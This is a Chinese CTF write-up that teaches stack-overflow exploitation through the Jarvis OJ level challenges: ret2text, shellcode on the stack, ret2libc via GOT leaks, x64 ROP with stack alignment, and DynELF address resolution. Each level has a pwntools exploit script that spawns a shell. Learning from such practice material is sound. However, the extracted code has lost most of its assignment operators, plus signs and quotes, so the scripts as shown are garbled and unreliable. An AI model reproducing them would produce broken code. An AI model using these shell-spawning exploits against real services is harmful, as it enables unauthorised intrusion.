ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

从ret2text到DynELF:Jarvis OJ level系列PWN入门实战解析

从ret2text到DynELF:Jarvis OJ level系列PWN入门实战解析 如果你刚开始接触 PWN大概率会被一堆名词吓到栈溢出、NX、canary、ret2libc、DynELF……我当年第一次打开 BUUCTF 上的jarvisoj_level全时也完全不知道从哪里下手。说实话这个系列在 BUUCTF 的 PWN 入口题里属于跨门槛的那一类前面可能刚写完test_your_nc、rip这种纯送分题到这儿突然要求你自己分析栈布局、自己挑选 ROP 链没有现成脚本可抄了。Jarvis OJ 的 level 系列我印象里一直是一套非常友好的 PWN 入门组合拳。它没有出偏题怪题就是把栈溢出这一个点从最朴素的 ret2text 一路问到 DynELF。五个 level 走完等于把 PWN 入门的底层链路完整过了一遍怎么找漏洞点、怎么算偏移、怎么在没有后门函数的时候向 libc 借力、怎么在连 libc 都没有的情况下硬抠出 system 地址。这篇文章不打算写成简单的一题一答案式 Writeup而是按我自己重新过这套题时的思路拆开讲把每个 level 为什么这么打、踩过哪些坑都写清楚。适合刚会写点 C、装好了 Kali 或者 Ubuntu、想在栈溢出上真正上手的读者。1. 这个系列为什么是新手劝退题与过门槛题的分界Jarvis OJ 的 level 系列在 BUUCTF 上被合并成了jarvisoj_level全但它实际上是六道互相承接的小题level0、level1、level2、level3、level3_x64、level4。每一道题都是同一个套路——程序里有一个明显的read栈溢出点但利用手法在逐步变难。先放一张我对这个系列的整体认知表格方便你建立全局概念题目位数典型保护核心利用手法这道题真正想让你学会的东西level0x64基本没有保护ret2text找后门函数、算栈偏移level1x86NX 关闭ret2shellcode在栈上执行 shellcode、处理泄露地址level2x86开启了 NXret2libc 入门调用 system 并正确传入参数level3x86开启了 NXret2libc 地址泄露利用 GOT/PLT 泄露 libc 基址level3_x64x64开启了 NXROP 寄存器传参掌握 x64 下 ROP 链构造level4x86开启了 NXDynELF在没有 libc 附件时动态解析地址这个难度曲线很关键每道题只比上一道多引入一个核心概念不会一次性塞给你一堆知识点。拿 level0 来说它就是个送分题程序里直接有一个callsystem之类的函数里面调用了system(/bin/sh)你要做的就是通过栈溢出把返回地址改成这个函数的地址。但很多人就是在这里开始懵的——ret2text、ret2shellcode、ret2libc这些名词在文章里见过的都认识可真拿到一个二进制文件时不知道该先开 IDA 还是先跑 checksec不知道偏移怎么算也不知道p64和p32为什么不能混用。到了 level2、level3情况开始变化程序里没有现成的后门函数了你需要自己调用system并且需要把/bin/sh这个参数正确放到栈上。这里牵涉到调用约定、栈平衡、PLT/GOT 机制、libc 地址随机化等一系列概念。说实话只要把 level2 和 level3 真正吃透后面很多 PWN 入门题你都会觉得眼熟。而最后的 level4 更是地狱开局题目不给你 libc 文件远程环境里的 libc 版本也不一定和本地一致等于让你在没有地图的情况下找system的地址。DynELF 的代码写起来不算长但它背后的 ELF 动态链接知识是个坎。所以这个系列到底在练什么我觉得就三件事第一读懂反编译代码并定位漏洞点第二算清楚栈偏移并构造 payload第三掌握程序与 libc 之间的地址关系。这三件事任何一件没想明白做后面的题都会频繁卡壳。2. 开打之前先把这些工具和习惯装进脑子里刷题环境不需要多豪华绝大多数操作其实只需要几个固定工具。我用的环境是 UbuntuPython 3加上 pwntools 全家桶。如果你用 Kali那更是开箱即用。2.1 工具链清单工具作用我的使用习惯checksec / pwntools 内置 checksec查看程序开启了哪些保护每个题目第一件事就是跑它决定后续思路IDA Pro / Ghidra反编译二进制分析漏洞点主要看 F5 后的伪代码替换变量名、梳理调用关系pwntools编写 exploit 脚本收发数据、生成 shellcode、自动算偏移几乎所有 exp 都用它写gdb pwndbg动态调试确认栈布局、断点、内存内容算偏移或者 payload 打不通时用它一步一步看栈ROPgadget搜索可用的 ROP gadget找pop rdi; ret这类指令序列one_gadget / LibcSearcher找 libc 偏移或 one_gadget题目给了 libc 文件时用偏移表没有时才用 LibcSearcher安装部分没什么好说的重点是 pwntools 的版本。现在大部分 writeup 都默认你用的是 Python 3 环境如果你还停留在 Python 2 的pwn库很多字符串处理会非常折磨人。pip3 install --upgrade pwntools另外我强烈建议本地调试时把 gdb 插件装好pwndbg 或者 gef 二选一。它们能直接在 gdb 里显示当前栈上的地址、寄存器值对新手理解返回地址覆盖的过程帮助巨大。2.2 我总结的答题三原则第一先 checksec再开 IDA。这个顺序不能反。因为你只有知道了 NX、PIE、canary 的状态才能判断这题大概率要往哪个方向打。NX 没开也许就能直接上 shellcodePIE 没开程序里所有函数地址就是固定的可以随便用canary 存在的话就得先想办法绕过 canary否则栈溢出根本没戏。Jarvis OJ 这个系列大多数没有 canary也没有 PIE这就是专门降低难度给你练的。第二本地能跑通再打远程。很多人喜欢直接在 BUUCTF 的靶机上试 payload一次打不通就重新连一次。但远程环境是黑盒出错信息远没有本地详细你根本不知道是偏移算错了还是地址不对。正确做法是先把题目二进制下载下来在本地把 shell 打通再换成远程地址只改一行连接代码。第三远程端口每次分配不一样。BUUCTF 上的题目端口是动态分配的你复制别人的 exp 前一定要先看自己题目页面上的端口是多少。很多人在这一步卡了半小时以为自己 exp 写错了其实只是连错了端口。2.3 环境上最容易踩的两个坑第一个坑是libc 版本不一致。本地 Ubuntu 的 libc 和远程靶机的 libc 很可能不是同一个版本这就导致system、read这些函数的偏移不一样。如果你在本地算好了地址直接打远程大概率会段错误。解决方案是优先利用题目附件里自带的 libc 文件如果没有附件就用 DynELF 或者 LibcSearcher 这类工具去匹配远程 libc。第二个坑是本地 ASLR 的影响。如果你在 gdb 里启动程序gdb 默认会关闭地址随机化所以你看到的栈地址、libc 地址在调试时是一个值直接运行程序时又是另一个值。用 pwntools 起本地进程时它会默认继承当前 shell 的环境地址也是随机的。后来我养成了一个习惯context.binary ELF(./level0)让 pwntools 自动帮你处理架构、位数并且本地调试时可以手动关掉 ASLR 来复现 gdb 里的地址。3. level0 与 level1第一次把返回地址握在自己手里这个阶段的目标只有一个亲手构造第一个可以拿到 shell 的 payload。虽然两题的解法不同但它们共用一套底层逻辑——函数返回时CPU 会把栈顶弹出的地址当 pc 继续执行。我们覆盖掉这个栈顶内容程序就会跳到我们指定的地方。3.1 level0一个没有任何保护的 ret2text用 IDA 打开 level0反编译后代码很简单核心就是这样一个函数ssize_t vuln() { char buf[128]; // [rsp0h] [rbp-0x80h] return read(0, buf, 0x200uLL); }buf有 128 字节但read能读入 0x200 字节这就是经典的栈溢出点。IDA 的变量注释已经把布局写得很清楚了buf在rbp-0x80的位置。那么返回地址在哪在 x64 下函数的栈帧布局是低地址 ------------------ | buf[0..127] | rbp-0x80 ------------------ | 旧 rbp 值 | rbp ------------------ | 返回地址 | rbp0x8 ------------------ 高地址所以溢出到返回地址的偏移就是0x80 0x8 0x88十进制就是 136。程序里还有一个明显的后门函数反编译大概是void callsystem() { system(/bin/sh); }那思路就非常简单了先填 136 个字节把旧 rbp 和返回地址之前的空间全部占满再填入callsystem的地址让函数返回时跳进去。exp 如下from pwn import * context.arch amd64 context.log_level debug # 本地调试 # p process(./level0) # 远程靶机 p remote(node4.buuoj.cn, 12345) # 端口换成你题目页面分配的 elf ELF(./level0) payload bA * 0x88 p64(elf.symbols[callsystem]) p.sendline(payload) p.interactive()这里elf.symbols[callsystem]是 pwntools 直接从 ELF 符号表里取地址比自己从 IDA 里抄地址再手写十六进制靠谱得多不容易写错。很多人第一次写这题会遇到两个小问题一是p64和p32搞混。level0 是 x64 程序地址是 8 字节必须用p64你如果用p32后面四个字节会缺失导致程序跳到一个错误地址。二是 payload 发送的时候用sendline还是send因为这道题的read不会因为换行符就停止读入所以两者都行但其他题目里如果遇到gets这类函数就要小心换行会在 payload 末尾添加一个\x0a把布局挤歪。3.2 level1NX 关闭时把 shellcode 放到栈上level1 换成了 x86程序里没有callsystem这种现成后门了但 checksec 之后会发现一个关键信息NX 关闭。也就是说栈上的数据可以被当作指令执行。那思路就不再是跳到一个已有的函数而是自己把 shellcode 写到栈上然后让程序跳过去执行。level1 的反编译大概是这个样子int vuln() { char buf[128]; // [esp0h] [ebp-0x88h] printf(Whats this: %p\n, buf); return read(0, buf, 0x100u); }程序很贴心直接把buf的栈地址打印给你了省得你再花力气去猜。所以流程就是接收这行打印解析出buf地址然后往buf里填充 shellcode再填充一堆占位字符最后把返回地址覆盖为buf地址。x86 下偏移计算也很简单buf在ebp-0x88返回地址在ebp0x4所以偏移是0x88 0x4 0x8C十进制 140。exp 如下from pwn import * context.arch i386 p process(./level1) p.recvuntil(bWhats this: ) buf_addr int(p.recvline().strip(), 16) log.success(buf addr: hex(buf_addr)) shellcode asm(shellcraft.sh()) payload shellcode.ljust(140, bA) p32(buf_addr) p.sendline(payload) p.interactive()这里有一个非常重要的细节shellcraft.sh()生成的是符合当前context.arch架构的 shellcode。如果你忘了写context.arch i386pwntools 默认可能是 64 位生成一段 64 位 shellcode 扔到 32 位程序里执行到第一个非法指令就直接崩了。我第一次打这类题就是栽在这里换了半天 shellcode最后发现是架构没设对。3.3 这两题最容易踩的坑关于 shellcode 里的空字节。如果你的 shellcode 中间带有\x00而接收端用的是read那没关系read不会把\x00当成结束符它会原样读入内存。但如果你后面做题遇到了gets或strcpy这类字符串处理函数空字节会导致输入被截断那就得用不带空字节的 shellcode或者换一种利用方式。关于地址行解析。printf(%p)输出的地址可能是0xffaabbcc这种也可能在某些环境下被截断成0xffaabb因为栈地址的高位一般是0xff如果上面还有\x00只要不是用字符串拼接read就不会丢。接收时用p.recvuntil定位到目标行再用p.recvline().strip()提取最后int(x, 16)转成整数一气呵成。关于recv时机。如果程序打印了很多内容而你急着sendline(payload)有可能导致程序还没读完打印、缓冲区里的数据没被你的 recv 收干净之后读取地址就会出现错位。稳妥的做法是在每次交互前用recvuntil等到程序真正需要输入的那个提示符出现。4. level2 与 level3程序没有后门之后学会向 libc 借力打到 level2游戏规则开始变了。程序里有溢出点但没有callsystem这样的后门函数NX 还开着栈上执行 shellcode 的路也断了。这时候就得换一个思路程序自己没后门但系统里有一个功能完备的工具箱叫 libc里面有system函数也有/bin/sh字符串。4.1 动态链接与 ret2libc 的概念现代 Linux 程序大多使用动态链接。程序运行时libc 会被加载到内存中printf、read、write这些函数的真实实现都在 libc 里程序通过 PLT 和 GOT 跳转过去。GOT 表项在最开始是一段跳板地址等函数第一次被调用后动态链接器会把真实的 libc 函数地址写到 GOT 表项里。所以正常情况下 libc 是在内存里的system、execve、/bin/sh都在 libc 的某个固定偏移处。问题是libc 每次加载的基址是随机的ASLR我们不知道它在哪。ret2libc 的核心就是想办法拿到 libc 中某个函数的真实地址然后以它为基准推算出system和/bin/sh的地址。4.2 level2调用 system 并把参数放到正确位置level2 是一个 x86 程序反编译之后漏洞函数依然是经典的read溢出。这道题通常会在程序里找到system的 PLT 地址或者你能确定远程 libc 版本后直接用偏移。x86 下调用函数传参很简单所有参数都压栈。调用system时栈要这样布置[padding 填充到返回地址] [system_plt] [返回地址占位] [/bin/sh 地址]注意第三行的返回地址占位不能省。因为system函数执行完ret之后CPU 会从栈上再弹一个值当作它的返回地址。如果你不填这个占位CPU 就会把后面的参数地址当成返回地址导致程序流程错乱。这个占位填什么其实无所谓填个0xdeadbeef都行我们只关心在执行system(/bin/sh)的时候拿不拿得到 shell。exp 大概是from pwn import * context.arch i386 p process(./level2) elf ELF(./level2) # 程序里如果有 /bin/sh 直接搜 binsh_addr next(elf.search(b/bin/sh)) system_plt elf.plt[system] payload bA * 140 payload p32(system_plt) payload p32(0xdeadbeef) # system 的返回地址随意 payload p32(binsh_addr) p.sendline(payload) p.interactive()这里面有个细节elf.search(b/bin/sh)返回的是一个生成器如果程序里没有这个字符串就会抛异常。level2 的题目二进制里有时包含这个字符串有时不包含取决于题目具体版本。如果没有就得先通过泄露去推 libc 基址再用 libc 偏移去找/bin/sh这正是 level3 要做的事。4.3 level3泄露 GOT反推 libc 基址level3 的难点从怎么调用 system变成了怎么知道 system 的地址。题目给了你 libc 文件或者你自己能确定 libc 版本但程序加载 libc 时基址是随机的所以你不能直接写死system的绝对地址。这时候就要用到泄露技巧。最简单的方式是调用write或puts让它把某个 GOT 表项的内容打印出来。GOT 表项里存的是一个真实函数的 libc 地址拿到这个值后减去 libc 文件里对应的偏移就得到了 libc 基址。有了基址system、/bin/sh的地址全都能推出来。level3 是 x86 程序所以write(1, read_got, 4)这种调用方式很自然。第一次发送的 payload 要让程序执行write泄露地址然后再次调用vuln以便我们发送第二段 payload 完成 getshell。这也是需要触发两次漏洞的原因。exp 骨架from pwn import * context.arch i386 p process(./level3) elf ELF(./level3) libc ELF(./libc-2.23.so) # 以题目附件为准 vuln_addr elf.symbols[vuln] write_plt elf.plt[write] read_got elf.got[read] # 第一段 payloadwrite(1, read_got, 4)然后回 vuln payload1 bA * 140 payload1 p32(write_plt) payload1 p32(vuln_addr) payload1 p32(1) payload1 p32(read_got) payload1 p32(4) p.sendline(payload1) read_addr u32(p.recv(4)) log.success(read addr: hex(read_addr)) # 根据 libc 偏移计算 system 和 /bin/sh libc_base read_addr - libc.symbols[read] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) # 第二段 payloadsystem(/bin/sh) payload2 bA * 140 payload2 p32(system_addr) payload2 p32(0xdeadbeef) payload2 p32(binsh_addr) p.sendline(payload2) p.interactive()4.4 这一步最关键的几个细节为什么泄露readgot而不是writegot因为我们的漏洞函数本身调用过read程序执行到溢出点之前read已经实际被调用了所以readgot里存的绝对是真实的 libc 地址。如果你去泄露一个从未被调用过的函数 GOT里面可能还是 PLT 跳板地址泄露出来也没用。recv(4)会不会多读到数据write发送完泄露的 4 字节之后程序会回到vuln并打印它自己的提示信息。如果你用p.recv(4)恰好只读 4 字节不会把后续的提示信息吞掉。但如果你条件反射地用了recvuntil可能就会等待一个并不存在的字符串而卡死。远程 libc 版本必须和题目一致。很多人在本地用/lib/x86_64-linux-gnu/libc.so.6去算偏移本地可能能打通但远程一打就崩因为远程 libc 根本不是这个版本。所以 level3 这类题一定要优先用题目附件里给的libc.so。如果 BUUCTF 的题目附件里没附 libc那就得考虑用 LibcSearcher 或者 DynELF 去处理远程的 libc。5. level3_x64 与 level4寄存器传参、DynELF 与没有库的硬仗如果说前面的题是在教你该往哪里跳那么到了 level3_x64 和 level4核心问题就变成了跳过去之后怎么把函数参数安排到位。尤其是 level4它不给你 libc 文件你必须自己从内存里把地址抠出来。5.1 x64 与 x86 传参方式的天壤之别x8632 位程序调用函数时参数全部压栈所以 ROP 链只需要在栈上依次放参数。x64 程序不一样前六个参数分别由rdi、rsi、rdx、rcx、r8、r9传递。也就是说你光把参数放到栈上没有用还得先通过 gadget 把这些值放进寄存器。最典型的 gadget 就是pop rdi; ret它的作用是把栈顶的值弹出到rdi然后执行ret。这样你可以在 ROP 链上写成[pop rdi; ret 的地址] [参数值] [函数地址]程序执行到pop rdi; ret时先把参数值弹进rdi然后跳转到函数地址。这就等效于调用了函数(参数值)。5.2 level3_x64用 puts 泄露 栈对齐level3_x64 是 level3 的 64 位版本。64 位下如果用write泄露地址你得同时控制rdifd、rsibuf、rdxlen三个寄存器但如果程序里有puts或printf那事情就简单多了——puts只有一个参数只要控制rdi指向你想泄露的 GOT 表项再调用putsplt就行。from pwn import * context.arch amd64 p process(./level3_x64) elf ELF(./level3_x64) # 找 gadget也可以用 ROPgadget 手动查 pop_rdi 0x4006c3 # 以你查到的为准 vuln_addr elf.symbols[vuln] puts_plt elf.plt[puts] puts_got elf.got[puts] offset 0x88 # 64位rbp-0x80 8 payload1 bA * offset payload1 p64(pop_rdi) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(vuln_addr) # 回到 vuln为第二次利用做准备 p.sendline(payload1) # puts 会一直输出到 \x00 为止所以可能比 8 字节少多收一段然后截取 puts_addr u64(p.recvuntil(b\n).strip().ljust(8, b\x00)) log.success(puts addr: hex(puts_addr))这里有件事必须单独说64 位下调用 system 之前经常要在链子里多放一个ret。原因是 glibc 的system函数内部可能使用到movaps指令它对栈对齐有要求要求执行到该指令时栈指针按 16 字节对齐。如果你的 ROP 链在进入system时栈没有对齐程序会直接 SIGSEGV。解决办法是在pop rdi; ret之前或者之后再插一个retgadget把栈整体往后挪 8 字节。很多新手第一次打 x64 题就是死于这个问题地址全对、偏移全对但一调system就崩溃。所以推荐最终 payload 布局是[padding] [ret] # 平衡栈可选 [pop rdi; ret] [地址或参数] [system] [占位地址] [参数值] # 如果后续还想继续执行具体是否需要额外加ret取决于你的调用链建议调试时多试两种布局。5.3 level4没有 libc 文件时的 DynELF 打法刷到 level4 时你可能会发现题目附件里没有 libc 文件。这意味着即使你成功泄露了一个函数地址也没有办法直接减偏移算出system的地址。这时候就需要 DynELF 登场。DynELF 的原理可以这样理解它通过你提供的一个任意地址读函数递归地解析内存中的 ELF 动态链接结构。先找到 ELF 头部然后从 program header 里找到 dynamic 段再从 dynamic 段里找到动态符号表.dynsym和字符串表.dynstr最后按符号名匹配出system的真实地址。整个过程不需要提前知道 libc 版本只要你能够让它读取任意内存地址即可。要使用 DynELF我们先得构造一个leak函数。以 x86 的 level4 为例如果程序有writeplt且每次 exploit 之后可以重新回到vuln那 leak 函数长这样from pwn import * context.arch i386 p process(./level4) elf ELF(./level4) write_plt elf.plt[write] vuln_addr elf.symbols[vuln] def leak(addr): # 每次先收提示保证同步 p.recvuntil(bInput:) payload bA * 140 payload p32(write_plt) payload p32(vuln_addr) # 让 write 执行完再回 vuln payload p32(1) # fd 1标准输出 payload p32(addr) # 读的地址 payload p32(4) # 读取长度 p.sendline(payload) data p.recv(4) return data然后要给出一个锚点地址也就是我们已经知道的某个 libc 内真实地址。通常可以先泄露一个函数的 GOT 地址比如writegot# 先泄露 write 的真实地址 p.recvuntil(bInput:) payload_leak bA * 140 payload_leak p32(write_plt) payload_leak p32(vuln_addr) payload_leak p32(1) payload_leak p32(elf.got[write]) payload_leak p32(4) p.sendline(payload_leak) write_addr u32(p.recv(4)) log.success(write addr: hex(write_addr)) d DynELF(leak, pointerwrite_addr) system_addr d.lookup(system, libc) log.success(system addr: hex(system_addr))拿到system地址之后还缺/bin/sh字符串。如果程序本身的二进制里能搜到就最好搜不到的话就自己利用漏洞把字符串写到 BSS 段。这也是一个经典的二次利用思路第一次利用read把/bin/sh读入 BSS第二次再调用system指向 BSS 里的字符串。read_plt elf.plt[read] bss_addr elf.bss() # BSS 段地址 def write_binsh(): payload bA * 140 payload p32(read_plt) payload p32(vuln_addr) payload p32(0) # 标准输入 payload p32(bss_addr) # 写到 BSS payload p32(8) # 长度 8 p.sendline(payload) p.sendline(b/bin/sh\x00) write_binsh() # 最后调用 system(/bin/sh) payload_final bA * 140 payload_final p32(system_addr) payload_final p32(0xdeadbeef) payload_final p32(bss_addr) p.sendline(payload_final) p.interactive()如果你拿到的是 x64 版本那整个脚本里的参数传参方式都要改成寄存器 gadget比如pop rdi; ret、pop rsi; ret等同时read的三个参数也要分别控制rdi、rsi、rdx。这类题目一般都能用__libc_csu_init里的通用 gadget 凑齐三个寄存器具体地址用 ROPgadget 搜索即可。5.4 DynELF 打法中常见的坑DynELF 很慢leak 函数要保证稳定。因为 DynELF 需要多次调用你的漏洞函数每次都要完整地执行一次 write、再回到 vuln、再读入下一段 payload。如果 leak 函数里recvuntil同步没做好某一轮数据错位后面整个解析过程就乱了。BSS 地址要选对。如果程序有 PIEelf.bss()给出的地址要在你泄露了程序基址之后再加上偏移如果程序没开 PIE那elf.bss()就是固定地址。Jarvis OJ 这个系列基本都没有 PIE所以可以直接用。但你要养成习惯拿到题目先看有没有 PIE别想当然。system拿到后不要直接接p.sendline(cat flag)。调用了system(/bin/sh)之后标准输入输出都是连到远程 socket 的你需要p.interactive()挂起交互然后手动输入cat flag。有些时候题目目标不是直接弹 shell而是执行特定命令那你就得看着题目的提示调整 payload不要死磕/bin/sh。6. 打完五道题沉淀出的通用排查清单最后这部分不按题目顺序讲而是给一个我自己刷题时反复用到的排查思路。你可以把它当成栈溢出类题目的检查表。6.1 拿到一个 PWN 题我固定走的五步checksec 看保护。先确认位数、NX、PIE、canary。位数决定p32还是p64NX 决定能不能执行栈PIE 决定地址要不要泄露canary 决定溢出前要不要先绕过 cookie。IDA 找漏洞点。优先看read、gets、strcpy、sprintf这些危险函数对比缓冲区大小和可读入长度确认是否溢出。找后门。程序里有没有现成system(/bin/sh)或者execve调用点如果有那就是 ret2text。找泄露点。没有后门那就看程序里有没有打印函数puts、printf、writeGOT 表里哪些函数已经用过能不能把它打出来。决定利用链。栈可执行就用 shellcode有 libc 文件就用 ret2libc没有 libc 就上 DynELF。6.2 偏移计算速查位数缓冲区偏移惯例返回地址位置x64buf在rbp-0x80偏移0x80 0x8 0x88136rbp0x8x86buf在ebp-0x88偏移0x88 0x4 0x8C140ebp0x4注意这是看 IDA 反编译注释算出来的常见值不要死记因为每道题的缓冲区大小不一样。用 pwntools 的cyclic也可以自动测偏移先发送一段 500 字节的cyclic程序崩溃后看错误地址再用cyclic_find找偏移。6.3 常见报错对照与原因现象大概率原因本地能打通远程打不通远程 libc 版本不一致或端口不对或 ASLR 状态不同recv一直等不到数据没有先recvuntil程序提示符或者程序根本没有走到输出点发送 payload 后程序直接退出system之后的栈平衡没处理或返回地址被覆盖错位got EOF/Connection closedpayload 里有坏字符导致输入被截断或 ROP 链长度不对拿到 shell 后敲命令没反应可能system(/bin/sh)执行的不是交互式 shell检查/bin/sh路径是否正确调system就段错误64 位下栈未对齐尝试在 ROP 链中加一个额外的ret6.4 用 gdb 验证 payload 的最后一步如果你实在排查不出问题别瞎猜直接上 gdb。pwntools 里可以这么干p gdb.debug(./level3_x64, set disable-randomization on b *vuln continue )然后在 gdb 窗口里看rsp、看栈上的数据、单步执行到ret你就能清楚看到程序到底跳到了哪、参数寄存器到底是什么。这类题说白了就是一个地址对不对、偏移准不准、栈平不平的问题只要把这三件事验证清楚基本上都能打通。最后再分享一点个人体会Jarvis OJ 这套 level 系列我过完一遍之后最大的收获不是背会了几个 exp而是养成了先分析再动手的习惯。每道题在动手写脚本之前我都会先在草稿纸上画出栈布局、标清楚 payload 每一段对应什么。越往后做越发现PWN 题最重要的其实不是花哨的工具而是能不能把内存里的数据是怎么流动的这件事想明白。如果 level4 的 DynELF 让你觉得劝退没关系多调试几遍把每一轮 leak 到底读到了什么地址打出来看没过多久你就会有那种原来如此的顿悟感。
返回列表